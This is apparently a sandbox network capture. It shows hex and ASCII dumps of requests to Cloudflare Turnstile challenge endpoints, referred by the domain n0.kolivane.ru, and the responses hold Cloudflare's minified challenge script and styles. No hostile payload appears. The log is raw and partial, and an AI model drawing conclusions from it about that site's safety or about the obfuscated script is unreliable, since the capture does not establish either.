2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:10 UTC	794	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://n0.kolivane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:10 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26678 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-30 07:07:10 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 61 30 33 30 66 63 35 61 66 31 34 34 31 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8fa030fc5af14414-EWRalt-svc: h3=":443"; ma=86400
2024-12-30 07:07:10 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:10 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8fa030fc5af14414&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:10 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114173 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fa031003d680ca0-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:10 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 Data Ascii: rms","turnstile_feedback_description":"Send%20Feedback","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20pa
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 2c 66 58 2c 67 33 2c 67 34 2c 67 35 2c 67 66 2c 67 71 2c 67 75 2c 67 42 2c 65 58 2c 65 59 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 31 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 39 34 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 36 38 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 33 38 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 38 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 31 39 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 Data Ascii: ,fX,g3,g4,g5,gf,gq,gu,gB,eX,eY){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(431))/1+parseInt(gI(194))/2+-parseInt(gI(468))/3(-parseInt(gI(338))/4)+parseInt(gI(1128))/5(parseInt(gI(631))/6)+-parseInt(gI(1219))/7*(parseInt(gI(1
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 73 28 6f 5b 67 4e 28 35 39 36 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4f 29 7b 67 4f 3d 67 4e 2c 4f 62 6a 65 63 74 5b 67 4f 28 37 30 34 29 5d 5b 67 4f 28 31 33 38 29 5d 5b 67 4f 28 33 38 37 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4f 28 37 30 38 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 37 33 32 29 5b 67 4a 28 32 38 37 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 4a 28 31 31 39 34 29 5d 5b 67 4a 28 31 33 30 39 29 5d 28 65 54 29 2c 65 4d 5b 67 4a 28 31 35 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 67 51 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 67 51 3d 67 4a 2c 69 